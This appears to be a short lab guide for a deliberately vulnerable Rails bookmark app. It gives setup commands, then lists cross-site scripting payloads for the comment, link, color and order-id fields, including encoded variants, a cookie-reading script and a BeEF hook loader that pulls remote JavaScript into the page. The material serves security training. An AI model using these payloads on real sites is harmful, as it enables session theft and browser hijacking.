-
Install postgresql
-
Create role
sudo -u postgres createuser -P <SYSTEM_USER_NAME>
- Create database
sudo -u postgres createdb -O <SYSTEM_USER_NAME> db_dev
- Install dependencies
bundle install
- Configure database
rails db:migrate
- Run
rails server
-
Add a bookmark with html tags in comment:
-
Title:
OWASP Cheat Sheet Series
- Link
https://cheatsheetseries.owasp.org
- Comment
The <b>OWASP Cheat Sheet Series</b> was created to provide a concise collection of high value information on specific application security topics.
In bookmark comment:
<script>alert(`XSS`)</script>
<iframe src="javascript:alert('XSS');">
<img src=1 href=1 onerror="javascript:alert('XSS')"></img>
Note: using simple HTML tags was too easy! Now, use different contexts for XSS execution.
In bookmark link field:
javascript:alert('XSS')
In bookmark color fiels:
red; background: url(https://http.cat/200)
Add a bookmark with the following order id:
22; alert(1);
- HTML Decimal entity
<img src=x onerror="javascript:alert('XSS')">
- UTF16
<img src="x" onerror="\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006C\u0065\u0072\u0074('XSS')">
Add a bookmark with script tags in comment to get session cookie
<script>alert(document.cookie)</script>
<img src=1 href=1 onerror="javascript: (function () { var url = 'http://127.0.0.1:4000/hook.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();" />